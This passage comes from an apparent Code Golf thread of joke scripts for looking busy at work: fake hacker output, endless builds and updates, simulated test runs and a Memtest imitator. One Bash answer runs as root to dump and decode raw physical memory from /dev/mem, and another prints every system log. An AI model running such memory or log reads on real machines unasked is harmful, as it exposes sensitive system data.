-O2 -msse -msse2 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -m64 -pipe -c dpkg/namevalue.c -o dpkg/namevalue.o gcc -w -O2 -msse -msse2 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -m64 -pipe -c dpkg/macros.c -o dpkg/macros.o ``` [Answer] ## Bash Infinitely displays random hexadecimal values, with some of them highlighted to make it feel like you are performing a complicated search in raw data. ``` while true; do head -c200 /dev/urandom | od -An -w50 -x | grep -E --color "([[:alpha:]][[:digit:]]){2}"; sleep 0.5; done ``` ![enter image description here](https://i.stack.imgur.com/2s5MP.png) [Answer] A very long build: ``` emerge openoffice ``` [Answer] # Ruby This one will: 1. Get a random code from ~~this site.~~ code review (for more readable, well written code) 2. Make it look like you are typing this code. ``` require 'open-uri' require 'nokogiri' site = "http://codereview.stackexchange.com/" system 'cls' system("color 0a") 5.times do begin id = rand(1..6000) url = "#{site}/a/#{id}" page = Nokogiri::HTML(open(url)) code = page.css('code')[0].text end until code code.each_char do |char| print char sleep rand(10) / 30.0 end end ``` --- Here is this script based on a code taken from [here](http://hackertyper.com/): ``` require 'open-uri' code = open("http://hackertyper.com/code.txt") system 'cls' system("color 0a") code.each_char do |char| print char sleep rand(10) / 30.0 end ``` Here is how it looks: ![Code](https://i.stack.imgur.com/5eYJf.png) [Answer] Lets go with a simple bash script that makes you look hackerish by printing the contents of every file identified as text in /var/log/ line by line, with random delays to make it look like intensive things are happening. Depending on the files it hits, it can give some rather interesting output. ``` #/bin/bash # this script helps you do hackerish stuff if [ "$EUID" -ne 0 ] then echo "Please run as root to be hackerish." exit fi # turn off globbing set -f # split on newlines only for for loops IFS=' ' for log in $(find /var/log -type f); do # only use the log if it's a text file; we _will_ encounter some archived logs if [ `file $log | grep -e text | wc -l` -ne 0 ] then echo $log for line in $(cat $log); do echo $line # sleep for a random duration between 0 and 1/4 seconds to indicate hard hackerish work bc -l <<< $(bc <<< "$RANDOM % 10")" / 40" | xargs sleep done fi done ``` Be sure your terminal theme looks hackerish. Here are some badass examples (no idea what any of this means, but it looks hackerish): ![image](https://i.stack.imgur.com/VxsGl.png) ![image](https://i.stack.imgur.com/mIpyG.png) [Answer] # Bash : The endless git commit A problem with computers today is that they are quite fast, so even compilation tasks eventually finish. Also, given a script that runs for a long time you might argue that it's actually possible to continue to work on something else while the script runs. To solve this we have the following program. Just learn to type 'y' or 'n' randomly every now and then. Of course you need a git repo with some new content but assuming you occasionally do actual work that should not be a problem. ``` #!/bin/bash while [ 1 ]; do git add -p git reset done ``` [Answer] ## Bash ``` #!/bin/bash function lazy { sudo apt-get update lazy } lazy ``` This will just keep updating your repos. If some one notices, just say that you added a new repo for a new program, and you are testing different ones. It isn't really like faking a script, but a command. NOTE: I do not condone being unproductive at work, but I do like experiments. Therefore I recommend [this app](https://play.google.com/store/apps/details?id=org.connectbot) to be used to be secretly productive. [Answer] # C++ Neural Network **EDIT** Sadly I optimized this code:( made it 2000x faster... The legacy code is still perfect for wasting time though! **Original** I actually started a project in convolutional neural networks perfect for this! The source code and documentation is on [github](https://github.com/OutlawLemur/ConvolutionalNeuralNetwork). The first step is to create a new network. ``` std::vector<int> numNeurons = { 500, 500, 2000, 10 }; std::vector<int> numMaps = { 1, 1, 1, 1 }; ConvolutionalNeuralNetwork neuralNetwork(numNeurons, numMaps, numNeurons, std::vector<std::vector<int>>(), std::vector<std::vector<int>>()); ``` Now that we have a network with 300 neurons and 1,250,000 synapses, lets save it to a file to make sure we don't lose any progress we make with the network. ``` neuralNetwork.SaveToFile("test2.cnn"); ``` That generated a 68MB text file and more than a few hours of relaxed work. Now, let's have some fun doing things with it! I'll create a random input and start to discriminate it. ``` std::vector<std::vector<float>> input; for (int i = 0; i < 2; ++i) input.push_back(std::vector<float>{}); for (int i = 0; i < 2; ++i) for (int j = 0; j < 3; ++j) input[i].push_back(rand() % 100); neuralNetwork.SetInput(input); ``` That was a pretty small input for an image, but we're only proving the network can do something. Next step is to discriminate with it! ``` Layer output = neuralNetwork.Discriminate(); ``` This hasn't even finished yet for me, and it's been running for over 2 days! Then once we get that output, let's run it through again in reverse just for fun. ``` Layer generatedOutput = neuralNetwork.Generate(output); ``` This is all just to prove that the API works, no plans for it yet. This step hasn't been run for me yet, and I've been waiting a while. Good 2+ days burned, and that is a rough estimate off my current testing. This is pretty complicated, and you'll work hard for a day or two making it, but after that you may never have to work again! Note: If you never, ever wanna work again, try to train the network ``` neuralNetwork.LearnCurrentInput(); ``` I don't even have the time to waste for this one! If you want to show off all the data that's happening, add some calls in the functions just to display what's happening New constructor ``` ConvolutionalNeuralNetwork::ConvolutionalNeuralNetwork(std::vector<int> neuronCountPerLayer, std::vector<int> featureMapsPerLayer, std::vector<int> featureMapDimensions, std::vector<std::vector<int>> featureMapConnections, std::vector<std::vector<int>> featureMapStartIndex) { std::map<SimpleNeuron, std::vector<Synapse>> childrenOf; for (unsigned int i = 0; i < neuronCountPerLayer.size() - 1; ++i) { Layer currentLayer; for (int j = 0; j < neuronCountPerLayer[i]; ++j) { std::vector<Synapse> parentOf; if (featureMapsPerLayer[i] == 1) { for (int n = 0; n < neuronCountPerLayer[i + 1]; ++n) { std::cout << "Adding new synapse, data: " << std::endl; SimpleNeuron current = SimpleNeuron(i + 1, j + 1); SimpleNeuron destination = SimpleNeuron(i + 2, n + 1); std::cout << "Origin: " << i + 1 << ", " << j + 1 << "; Destination: " << i + 2 << ", " << n + 1 << std::endl; Synapse currentParentSynapse = Synapse(current, current); Synapse currentChildSynapse = Synapse(destination, destination); currentChildSynapse.SetWeightDiscriminate(currentParentSynapse.GetWeightDiscriminate()); currentChildSynapse.SetWeightGenerative(currentParentSynapse.GetWeightGenerative()); std::cout << "Weights: Discriminative: " << currentChildSynapse.GetWeightDiscriminate() << "; Generative: " << currentChildSynapse.GetWeightGenerative() << std::endl; parentOf.push_back(currentParentSynapse); if (childrenOf.find(destination) != childrenOf.end()) childrenOf.at(destination).push_back(currentChildSynapse); else childrenOf.insert(std::pair<SimpleNeuron, std::vector<Synapse>>(destination, std::vector<Synapse>{ currentChildSynapse })); } } else { int featureMapsUp = featureMapsPerLayer[i + 1]; int inFeatureMap = featureMapsPerLayer[i] / j; int connections = featureMapConnections[i][inFeatureMap]; int startIndex = (neuronCountPerLayer[i + 1] / featureMapsUp) * featureMapStartIndex[i][inFeatureMap]; int destinationIndex = startIndex + (neuronCountPerLayer[i + 1] / featureMapsUp) * connections; for (int n = startIndex; n < destinationIndex; ++n) { SimpleNeuron current = SimpleNeuron(i + 1, j + 1); SimpleNeuron destination = SimpleNeuron(i + 2, n + 1); std::cout << "Origin: " << i + 1 << ", " << j + 1 << "; Destination: " << i + 2 << ", " << n + 1 << std::endl; Synapse currentParentSynapse = Synapse(current, current); Synapse currentChildSynapse = Synapse(destination, destination); currentChildSynapse.SetWeightDiscriminate(currentParentSynapse.GetWeightDiscriminate()); currentChildSynapse.SetWeightGenerative(currentParentSynapse.GetWeightGenerative()); std::cout << "Weights: Discriminative: " << currentChildSynapse.GetWeightDiscriminate() << "; Generative: " << currentChildSynapse.GetWeightGenerative() << std::endl; parentOf.push_back(currentParentSynapse); if (childrenOf.find(destination) != childrenOf.end()) childrenOf.at(destination).push_back(currentChildSynapse); else childrenOf.insert(std::pair<SimpleNeuron, std::vector<Synapse>>(destination, std::vector<Synapse>{ currentChildSynapse })); } } std::cout << "Adding neuron" << std::endl << std::endl; if (childrenOf.find(SimpleNeuron(i + 1, j + 1)) != childrenOf.end()) currentLayer.AddNeuron(Neuron(parentOf, childrenOf.at(SimpleNeuron(i + 1, j + 1)))); else currentLayer.AddNeuron(Neuron(parentOf, std::vector<Synapse>{})); } std::cout << "Adding layer" << std::endl << std::endl << std::endl; AddLayer(currentLayer); } Layer output; std::cout << "Adding final layer" << std::endl; for (int i = 0; i < neuronCountPerLayer[neuronCountPerLayer.size() - 1]; ++i) output.AddNeuron(Neuron(std::vector<Synapse>(), childrenOf.at(SimpleNeuron(neuronCountPerLayer.size(), i + 1)))); AddLayer(output); } ``` New FireSynapse ``` float Neuron::FireSynapse() { float sum = 0.0f; std::cout << "Firing Synapse!" << std::endl; for (std::vector<Synapse>::iterator it = m_ChildOfSynapses.begin(); it != m_ChildOfSynapses.end(); ++it) sum += ((*it).GetWeightDiscriminate() * (*it).GetParent().GetValue()); std::cout << "Total sum: " << sum << std::endl; float probability = (1 / (1 + pow(e, -sum))); std::cout << "Probably of firing: " << probability << std::endl; if (probability > 0.9f) return 1.0f; else if (probability < 0.1f) return 0.0f; else { std::cout << "Using stochastic processing to determine firing" << std::endl; float random = ((rand() % 100) / 100); if (random <= probability) return 1.0f; else return 0.0f; } } ``` You will get plenty of output on your console now. [Answer] # Python 3 ``` #!/usr/bin/python3 import random import time first_level_dirs = ['main', 'home', 'usr', 'root', 'html', 'assets', 'files'] title_descs = ['page', 'script', 'interface', 'popup'] id_names = ['container', 'main', 'textbox', 'popup'] tag_names = ['div', 'textarea', 'span', 'strong', 'article', 'summary', 'blockquote', 'b'] autoclosing_tags = ['br', 'input'] def random_js_line(): return random.choice([ ' $("#%s").html("<b>" + $("#%s").text() + "</b>");' % (random.choice(id_names), random.choice(id_names)), ' $.get("t_%i.txt", function(resp) {\n callback(resp);\n });' % (int(random.random() * 50)), ' $("%s>%s").css({width: %i + "px", height: %i + "px"});' % (random.choice(tag_names), random.choice(tag_names), int(random.random() * 75), int(random.random() * 75)), ' for (var i = 0; i < count; i++) {\n $("<div>").appendTo("#%s");\n }' % (random.choice(id_names)) ]) def random_js_lines(): lines = [random_js_line() for _ in range(int(random.random() * 14) + 1)] return '\n'.join(lines) def random_html_line(): tag_name = random.choice(tag_names) return random.choice([ ' <%s>id: %i</%s>' % (tag_name, int(random.random() * 1000), tag_name), ' <%s class="%s">\n <%s/>\n </%s>' % (tag_name, random.choice(first_level_dirs), random.choice(autoclosing_tags), tag_name), ' <div id="%s"></div>' % (random.choice(first_level_dirs)) ]) def random_html_lines(): lines = [random_html_line() for _ in range(int(random.random() * 9) + 1)] return '\n'.join(lines) while True: print('creating /%s/%i.html' % (random.choice(first_level_dirs), int(random.random() * 1000))) time.sleep(random.random()) lines = [ '<!DOCTYPE html>', '<html lang="en">', ' <head>', ' <title>%s #%i</title>' % (random.choice(title_descs), int(random.random() * 100)), ' <script type="text/javascript" src="/js/assets/jquery.min.js"></script>', ' <script type="text/javascript">', random_js_lines(), ' </script>', ' </head>', ' <body>', random_html_lines(), ' </body>', '</html>' ] lines = [single_line for linegroup in lines for single_line in linegroup.split('\n')] for line in lines: print(line) time.sleep(random.random() / 10) print() time.sleep(random.random() / 2) ``` It outputs a bunch of lines of fake JS and HTML, with fake "loading" times (delays) to make it seem more realistic. This can and will be expanded upon greatly! (the basic program is there; I just have to add more content now) --- Here's a sample "page" it generates (this is actually from an old version of the code; I'll update it with the new code when I'm finished): ``` creating /assets/809.html <!DOCTYPE html> <html lang="en"> <head> <title>script #32</title> <script type="text/javascript" src="/js/assets/jquery.min.js"></script> <script type="text/javascript"> $("#main").html("<b>" + $("#main").text() + "</b>"); $("#textbox").html("<b>" + $("#container").text() + "</b>"); $("#popup").html("<b>" + $("#textbox").text() + "</b>"); $("#container").html("<b>" + $("#textbox").text() + "</b>"); $.get("t_11.txt", function(resp) { callback(resp); }); $("#main").html("<b>" + $("#textbox").text() + "</b>"); $.get("t_14.txt", function(resp) { callback(resp); }); $.get("t_1.txt", function(resp) { callback(resp); }); $.get("t_34.txt", function(resp) { callback(resp); }); </script> </head> <body> <span>id: 462</span> <textarea>id: 117</textarea> </body> </html> ``` [Answer] # Node.js + BDD Looks like an endless stream of BDD-style tests running. Nobody can blame you for running tests! ``` "use strict" var colors = require("colors"), features = ["User", "Request", "Response", "Cache", "Preference", "Token", "Profile", "Application", "Security"], patterns = ["Factory", "Observer", "Manager", "Repository", "Impl", "Dao", "Service", "Delegate", "Activity"], requirements = ["return HTTP 403 to unauthorized users", "accept UTF-8 input", "return HTTP 400 for invalid input", "correctly escape SQL", "validate redirects", "provide online documentation", "select internationalized strings, based on locale", "support localized date formats", "work in IE6", "pass W3C validation", "produce valid JSON", "work with screen readers", "use HTML5 canvas where available", "blink"], minTimeout = 100, maxTimeout = 1000, minRequirements = 2, maxRequirements = 6, skipThreshold = 0.1, failThreshold = 0.2 function randBetween(l, u) { return Math.floor(Math.random() * (u - l) + l) } function choose(l) { return l[randBetween(0, l.length)] } function timeout() { return randBetween(minTimeout, maxTimeout) } function printFeature() { console.log("") var feature = choose(features) + choose(patterns) var article = /^[AEIOU]/.test(feature) ? "An " : "A " console.log(article + feature + " should") setTimeout(function() { var reqs = randBetween(minRequirements, maxRequirements) printRequirements(reqs) }, timeout()) } function printRequirements(i) { if (i > 0) { var skipFailOrPass = Math.random() if (skipFailOrPass < skipThreshold) { console.log(("- " + choose(requirements) + " (SKIPPED)").cyan) } else if (skipFailOrPass < failThreshold) { console.log(("x " + choose(requirements) + " (FAILED)").red) console.log((" - Given I am on the " + choose(features) + " page").green) console.log((" - When I click on the " + choose(features) + " link").green) console.log((" x Then the Log Out link should be visible in the top right hand corner").red) } else { console.log(("+ " + choose(requirements)).green) } setTimeout(function() {printRequirements(i - 1)}, timeout()) } else { printFeature() } } printFeature() ``` ## Update It occurred to me that it would look suspicious if all your tests passed, so I've updated it to include some failing tests - complete with Given-When-Thens. And yes, I know that all the failures have the same message. You really need to fix that logout link! ![enter image description here](https://i.stack.imgur.com/CiYE3.png) [Answer] # C# (Windows) I present to you, the brand new **Memtest86 Simulator 2014**! (Because running Memtest86 under Windows makes total sense) Complete with working progress bars and pattern indicator! This code extensively uses the Console class, which as far as I know, it's only available on Windows. Also, I couldn't find a way to show the real processor name/frequency and available memory, so those are hardcoded. Screenshot: ![enter image description here](https://i.stack.imgur.com/LV999.png) **EDIT** To retrieve the processor information, you can use the Microsoft.Win32 namespace and RegistryKey class. ``` // Processor information, add 'using Microsoft.Win32'; string processor = ""; RegistryKey processor_name = Registry.LocalMachine.OpenSubKey(@"Hardware\Description\System\CentralProcessor\0", RegistryKeyPermissionCheck.ReadSubTree); if (processor_name != null) { if (processor_name.GetValue("ProcessorNameString") != null) { processor = (string)processor_name.GetValue("ProcessorNameString"); } } ``` Code (ugly, I know): ``` using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Threading; class MemTestSim { static void Main(string[] args) { Random r = new Random(); int seconds = 0; int pass = 0; int test = 0; int testNumber = 0; string[] testNames = { "Address test, own Adress", "Moving inversions, ones & zeros", "Moving inversions, 8 bit pattern" }; string[] pattern = { "80808080", "7f7f7f7f", "40404040", "bfbfbfbf", "20202020", "dfdfdfdf", "10101010", "efefefef", "08080808", "f7f7f7f7", "8f8f8f8f" }; // Trick to stop the console from scrolling Console.SetWindowSize(80, 40); Console.Title = "Memtest86+ v2.11"; Console.CursorVisible = false; // Dark Blue Background Color Console.BackgroundColor = ConsoleColor.DarkBlue; Console.Clear(); // Green Title Text Console.BackgroundColor = ConsoleColor.DarkGreen; Console.ForegroundColor = ConsoleColor.Black; Console.Write(" Memtest86+ v2.11 "); // Gray on Blue Text and main window structure Console.BackgroundColor = ConsoleColor.DarkBlue; Console.ForegroundColor = ConsoleColor.Gray; Console.Write("| Pass " + pass + "%\n"); Console.WriteLine("Intel Core i5 2290 MHz | Test "); Console.WriteLine("L1 Cache: 128K 1058MB/s | Test #" + testNumber + " [" + testNames[0] + "]"); Console.WriteLine("L2 Cache: 512K 1112MB/s | Testing: 132K - 8192M 8192M"); Console.WriteLine("L3 Cache: 3072K 1034MB/s | Pattern: "); Console.WriteLine("Memory : 8192M |---------------------------------------------------"); Console.WriteLine("Chipset : Intel i440FX"); Console.WriteLine(); Console.WriteLine(); Console.WriteLine(" WallTime Cached RsvdMem MemMap Cache ECC Test Pass Errors ECC Errs"); Console.WriteLine(" --------- ------ ------- -------- ----- --- ---- ---- ------ --------"); Console.WriteLine(" 0:00:26 8192M 64K e820-Std on off Std 0 0"); // Bottom Bar Console.SetCursorPosition(0, 24); Console.BackgroundColor = ConsoleColor.Gray; Console.ForegroundColor = ConsoleColor.DarkBlue; Console.WriteLine("(ESC)Reboot (c)configuration (SP)scroll_lock (CR)scroll_unlock "); Console.SetWindowSize(80, 25); // Reset text color Console.BackgroundColor = ConsoleColor.DarkBlue; Console.ForegroundColor = ConsoleColor.Gray; // FOREVER while (true) { TimeSpan time = TimeSpan.FromSeconds(seconds); // Running Time (WallTime) Console.SetCursorPosition(3, 11); string min = (time.Minutes < 10 ? "0" + time.Minutes : "" + time.Minutes); string sec = (time.Seconds < 10 ? "0" + time.Seconds : "" + time.Seconds); Console.Write(time.Hours + ":" + min + ":" + sec); // Test percentage Console.SetCursorPosition(34, 1); Console.Write((int)test + "%"); // Test Progress Bar Console.SetCursorPosition(38, 1); for (int i = 0; i < test / 3; i++) Console.Write("#"); Console.SetCursorPosition(38, 0); for (int i = 0; i < pass / 3; i++) Console.Write("#"); // Test Number Console.SetCursorPosition(35, 2); Console.Write(testNumber + " [" + testNames[testNumber] + "] "); if (testNumber != 0) { Console.SetCursorPosition(38, 4); Console.Write(pattern[test / 10]); } else { Console.SetCursorPosition(38, 4); Console.Write(" "); } if (test >= 100) { test = 0; Console.SetCursorPosition(34, 0); Console.Write(pass + "%"); Console.SetCursorPosition(34, 1); Console.Write(" "); testNumber++; pass += 2; if (testNumber == 2) testNumber = 0; } Thread.Sleep(1000); test += r.Next(0, 3); seconds++; } } } ``` [Answer] # Python, 36 characters ``` print("Opening Internet Explorer...") ``` # Python, 21 characters ``` print("Opening IE...") ``` *Trying to be funny. :P* [Answer] # [AHK](http://www.autohotkey.com/) You pretend to type while the script generates a bunch of accessors and mutators in JavaScript. Make sure an IDE (I tested this on Notepad++) is the active window. Specify the list of variables and class name if you want. I just used what was already in `window.location`. Press esc to exit. Press 0 on your numberpad to pause when someone tries to talk to you. Press ctrl+w (w stands for work) to start ``` ^w:: loop{ variable_names := "hash|host|hostname|href|origin|pathname|port|protocol|search" class_name := "location" StringSplit, variable_names_array, variable_names, "|" loop, %variable_names_array0%{ Random, delay, 80, 120 SetKeyDelay, %delay% current := variable_names_array%a_index% Send, %class_name%.prototype. Random, r, 800, 1300 Sleep, %r% Send, get_ Random, r, 800, 1300 Sleep, %r% Send, %current% Random, r, 800, 1300 Sleep, %r% Send, {space}={space} Random, r, 800, 1300 Sleep, %r% Send, function(){{}{enter} Random, r, 800, 1300 Sleep, %r% Send, {tab} Random, r, 800, 1300 Sleep, %r% Send, return this. Random, r, 800, 1300 Sleep, %r% Send, %current%;{enter} Random, r, 800, 1300 Sleep, %r% Send, {BackSpace}{}} Random, r, 800, 1300 Sleep, %r% Send, {enter}{enter} Random, r, 800, 1300 Sleep, %r% Send, %class_name%.prototype. Random, r, 800, 1300 Sleep, %r% Send, set_ Random, r, 800, 1300 Sleep, %r% Send, %current% Random, r, 800, 1300 Sleep, %r% Send, {space}={space} Random, r, 800, 1300 Sleep, %r% Send, function(%current%){{}{enter} Random, r, 800, 1300 Sleep, %r% Send, {tab} Random, r, 800, 1300 Sleep, %r% Send, this. Random, r, 800, 1300 Sleep, %r% Send, %current% ={space} Random, r, 800, 1300 Sleep, %r% Send, %current%;{enter} Random, r, 800, 1300 Sleep, %r% Send, return this;{enter} Random, r, 800, 1300 Sleep, %r% Send, {BackSpace}{}} Random, r, 800, 1300 Sleep, %r% Send, {enter}{enter} Random, r, 800, 1300 Sleep, %r% } } return esc:: ExitApp return numpad0:: Pause, toggle return ``` [Answer] # Bash Dumps a random block of physical memory and looks at the contents. Going to need to be root for this. Only the [first 1MB of memory](https://stackoverflow.com/questions/11891979/accessing-mmaped-dev-mem) is available by default. `dd` default block size is 512 bytes, that can be changed with option `ibs=bytes` but keep in mind the other option `skip=$offset` which picks a block at random. Output from `dd` is sent through `tr` to remove non ASCII characters; only unique results 2 characters or longer are evaluated. Each string found is compared to a dictionary. If no matches are found, it attempts to decode as base64. Finally, all the strings evaluated are returned. There are several other platform dependent options to be aware of, such as location of dictionary file (/usr/share/dict/words), whether sleep accepts floating point inputs, and if `base64` is available. Also, be aware that `dd` outputs stats on the operation performed to stderr, which is piped to /dev/null. If something were to go horribly wrong (you are accessing /dev/mem ...) the stderr output won't be visible. Overall, not very useful, but I learned a bit about linux memory and writing this script turned out to be fun. ``` #!/bin/bash offset=`expr $RANDOM % 512` mem=`dd if=/dev/mem skip=$offset count=1 2>/dev/null| tr '[\000-\040]' '\n' | tr '[\177-\377'] '\n' | sort -u | grep '.\{2,\}'` results="" for line in $mem do echo "Evaluating $line" greps=`grep "^$line" /usr/share/dict/words | head` if [ -n "$greps" ] then echo "Found matches." echo $greps else #echo "No matches in dictionary. Attempting to decode." decode=`echo "$line" | base64 -d 2>/dev/null` if [ $? -ne 1 ] then echo "Decode is good: $decode" #else #echo "Not a valid base64 encoded string." fi fi results+=" $line" # make it look like this takes a while to process sleep 0.5 done if (( ${#results} > 1 )) then echo "Done processing input at block $offset: $results" fi ``` Sometimes there's no interesting output (all zeroes). Sometimes there are only a few strings: ``` codegolf/work# ./s Evaluating @~ Evaluating 0~ Evaluating ne Found matches. ne nea neal neallotype neanic neanthropic neap neaped nearable nearabout Done processing input at block 319: @~ 0~ ne ``` Sometimes there is actually something human readable in memory (before I was logging block offset): ``` codegolf/work# ./s Evaluating grub_memset Evaluating grub_millisleep Evaluating grub_mm_base Evaluating grub_modbase Evaluating grub_named_list_find Evaluating grub_net_open Evaluating grub_net_poll_cards_idle Evaluating grub_parser_cmdline_state Evaluating grub_parser_split_cmdline Evaluating grub_partition_get_name Evaluating grub_partition_iterate Evaluating grub_partition_map_list Evaluating grub_partition_probe Evaluating grub_pc_net_config Evaluating grub_pit_wait Evaluating grub_print_error Evaluating grub_printf Evaluating grub_printf_ Evaluating grub_puts_ Evaluating grub_pxe_call Evaluating grub_real_dprintf Evaluating grub_realidt Evaluating grub_realloc Evaluating grub_refresh Evaluating grub_register_command_prio Evaluating grub_register_variable_hook Evaluating grub_snprintf Evaluating grub_st Evaluating grub_strchr Evaluating _memmove Done processing input: grub_memset grub_millisleep grub_mm_base grub_modbase grub_named_list_find grub_net_open grub_net_poll_cards_idle grub_parser_cmdline_state grub_parser_split_cmdline grub_partition_get_name grub_partition_iterate grub_partition_map_list grub_partition_probe grub_pc_net_config grub_pit_wait grub_print_error grub_printf grub_printf_ grub_puts_ grub_pxe_call grub_real_dprintf grub_realidt grub_realloc grub_refresh grub_register_command_prio grub_register_variable_hook grub_snprintf grub_st grub_strchr _memmove ``` And one last sample run showing malformed grep input, dictionary hits, and a successful base64 decode (before logging block offset again): ``` codegolf/work# ./s Evaluating <! Evaluating !( Evaluating @) Evaluating @@ Evaluating $; Evaluating '0@ Evaluating `1 Evaluating 1P$#4 Evaluating )$2 Evaluating -3 Evaluating 3HA Evaluating 3N Evaluating @@9 Evaluating 9@ Evaluating 9Jh Evaluating \9UK grep: Invalid back reference Evaluating a# Evaluating CX Evaluating ?F Evaluating !H( Evaluating +%I Evaluating Io Found matches. Io Iodamoeba Ione Ioni Ionian Ionic Ionicism Ionicization Ionicize Ionidium Evaluating Kj Found matches. Kjeldahl Evaluating l# Evaluating L6qh Decode is good: /�� Evaluating O% Evaluating OX Evaluating PR Evaluating .Q Evaluating Q4! Evaluating qQ Evaluating )u Evaluating Ua Found matches. Uaraycu Uarekena Uaupe Evaluating $v Evaluating )V Evaluating V8 Evaluating V,B~ Evaluating wIH Evaluating xU Evaluating y@ Evaluating @z Evaluating Z0 Evaluating zI Evaluating Z@!QK Done processing input: <! !( @) @@ $; '0@ `1 1P$#4 )$2 -3 3HA 3N @@9 9@ 9Jh \9UK a# CX ?F !H( +%I Io Kj l# L6qh O% OX PR .Q Q4! qQ )u Ua $v )V V8 V,B~ wIH xU y@ @z Z0 zI Z@!QK ``` [Answer] **Windows Batch** ``` @echo off set /p hax="How much haxx0rz: " %=% set /p haxx="How quick haxx0rz (seconds): " %=% FOR /L %%I IN (1, 1, %hax%) DO ( START cmd /k "COLOR A&&tree C:\" timeout %haxx% ) ``` This is a joke script that I've kept with me for years to make it look like something out of a 90's hacker movie. I usually use it while remotely connected to a computer to freak people out. [Answer] ### Bash The never ending search for cafes. I found this on the web a long time ago: ``` cat /dev/urandom | hexdump | grep "ca fe" ``` [Answer] **Python 2.7** The Endless Test Suite "Runs" a set of "Unit Tests" on all the files in your directory tree. Traverses all subdirectories. Starts over when it gets to the end. Prints a running status: ``` ============================= entering . ============================= ------------------------ test_line_numbers.py ------------------------ Ran 18 tests in 3.23707662572 seconds, 0 errors ---------------------------- test_main.c ---------------------------- Ran 26 tests in 1.3365194929 seconds, 0 errors --------------------------- test_parser.c --------------------------- Ran 8 tests in 1.61633904378 seconds, 0 errors --------------------------- test_README.c --------------------------- Ran 12 tests in 2.27466813182 seconds, 0 errors 4 modules OK (0 failed) =========================== entering ./lib =========================== ``` ... Features that make it more complex than needed, and hopefully more realistic: * The number of tests and test time is proportional to the file size. * Turns non source code file extensions into known ones. Modify `CodeExtensions` to add more known types. + Selects new extension based on frequency of actual language files seen, so you won't be seen testing Python code if your hard drive is full of Ruby. * Skips files with leading `.` No giveaways like "test\_.bashrc.js" ``` import os,random,time,collections CodeExtensions = ('.py', '.c','.cpp','.rb','.js','.pl','.cs','.el') last_exts = collections.deque(CodeExtensions[:1],100) maxlen=0 def maketestname(filename): root,ext = os.path.splitext(filename) if ext in CodeExtensions: last_exts.append(ext) else: ext = random.choice(last_exts) return 'test_'+root+ext def banner(char,text,width=70): bar = char*((width-len(text)-2)/2) return "{} {} {}".format(bar,text,bar) def scaledrand(scale,offset): return random.random()*scale+random.randrange(offset) while True: for dirname, subdirs, files in os.walk('.'): print banner('=',"entering {}".format(dirname)) skipped = 0 for filename in files: if filename[0] is not '.': testfilename = maketestname(filename) print banner('-',testfilename) filelen = os.path.getsize(os.path.join(dirname,filename)) maxlen = max(maxlen,filelen) ntests = int(scaledrand(20*filelen/maxlen,10)) testtime = scaledrand(ntests/5.0,2) time.sleep(testtime) else: skipped+=1 continue print "Ran {} tests in {} seconds, {} errors".format(ntests,testtime,0) print "{} modules OK ({} failed)\n".format(len(files)-skipped,0) ``` [Answer] # Java + Guava 16 (Guava isn't super necessary, but it made some things a little less annoying to write). Alright, you're supposed to be working? How about a program that actually writes real Java code, that actually compiles (though it doesn't do much). It's difficult to demonstrate the animation, but this program writes a Java program using either the default dictionary (250 common English words) or a newline delimited file (taken as a command line argument), and types it to the console **one character at a time at human seeming speeds**. Make sure to run it yourself because this post doesn't do it justice. When it finishes, it waits 1 minute, then prints a lot of blank lines to the console, and starts over again. I tried to write it to make various parameters reasonably tweakable. Also, normally I would put this into more than one file, but to make it easier to run I smushed all the classes together. ``` package org.stackoverflow.ppcg; import java.io.*; import java.util.*; import com.google.common.base.CaseFormat; import com.google.common.base.Converter; import com.google.common.collect.Lists; public class CodeGenerator { public static final Converter<String, String> TOUPPER = CaseFormat.LOWER_CAMEL.converterTo(CaseFormat.UPPER_CAMEL); public static final Converter<String, String> TOLOWER = CaseFormat.UPPER_CAMEL.converterTo(CaseFormat.LOWER_CAMEL); public static final String[] TYPES = new String[]{ "int", "long", "double", "String" }; public static final List<String> DEFAULT_LIST = Arrays.asList(new String[]{ "the", "and", "for", "you", "say", "but", "his", "not", "she", "can", "who", "get", "her", "all", "one", "out", "see", "him", "now", "how", "its", "our", "two", "way", "new", "day", "use", "man", "one", "her", "any", "may", "try", "ask", "too", "own", "out", "put", "old", "why", "let", "big", "few", "run", "off", "all", "lot", "eye", "job", "far", "have", "that", "with", "this", "they", "from", "that", "what", "make", "know", "will", "time", "year", "when", "them", "some", "take", "into", "just", "your", "come", "than", "like", "then", "more", "want", "look", "also", "more", "find", "here", "give", "many", "well", "only", "tell", "very", "even", "back", "good", "life", "work", "down", "call", "over", "last", "need", "feel", "when", "high", "their", "would", "about", "there", "think", "which", "could", "other", "these", "first", "thing", "those", "woman", "child", "there", "after", "world", "still", "three", "state", "never", "leave", "while", "great", "group", "begin", "where", "every", "start", "might", "about", "place", "again", "where", "right", "small", "night", "point", "today", "bring", "large", "under", "water", "write", "money", "story", "young", "month", "right", "study", "people", "should", "school", "become", "really", "family", "system", "during", "number", "always", "happen", "before", "mother", "though", "little", "around", "friend", "father", "member", "almost", "change", "minute", "social", "follow", "around", "parent", "create", "others", "office", "health", "person", "within", "result", "change", "reason", "before", "moment", "enough", "across", "second", "toward", "policy", "appear", "market", "expect", "nation", "course", "behind", "remain", "effect", "because", "through", "between", "another", "student", "country", "problem", "against", "company", "program", "believe", "without", "million", "provide", "service", "however", "include", "several", "nothing", "whether", "already", "history", "morning", "himself", "teacher", "process", "college", "someone", "suggest", "control", "perhaps", "require", "finally", "explain", "develop", "federal", "receive", "society", "because", "special", "support", "project", "produce", "picture", "product", "patient", "certain", "support", "century", "culture" }); private static final int CLASS_NAME_LENGTH = 2; private final WordList wordList; private final Appendable out; private final Random r = new Random(); private CodeGenerator(WordList wordList, Appendable out) { this.wordList = wordList; this.out = out; } public static void main(String... args) throws Exception { List<?> wordSource = getWords(args); WordList list = new WordList(wordSource); SleepingAppendable out = new SleepingAppendable(System.out); CodeGenerator generator = new CodeGenerator(list, out); while(!Thread.interrupted()) { generator.generate(); try { Thread.sleep(60000); } catch (InterruptedException e) { break; } out.setSleeping(false); for(int i = 0; i < 100; i++) { out.append(System.lineSeparator()); } out.setSleeping(true); } } private static List<?> getWords(String[] args) { if(args.length > 0) { try { return getListFromFile(args[0]); } catch(IOException e) { } } return DEFAULT_LIST; } private static List<Object> getListFromFile(String string) throws IOException { List<Object> newList = Lists.newArrayList(); File f = 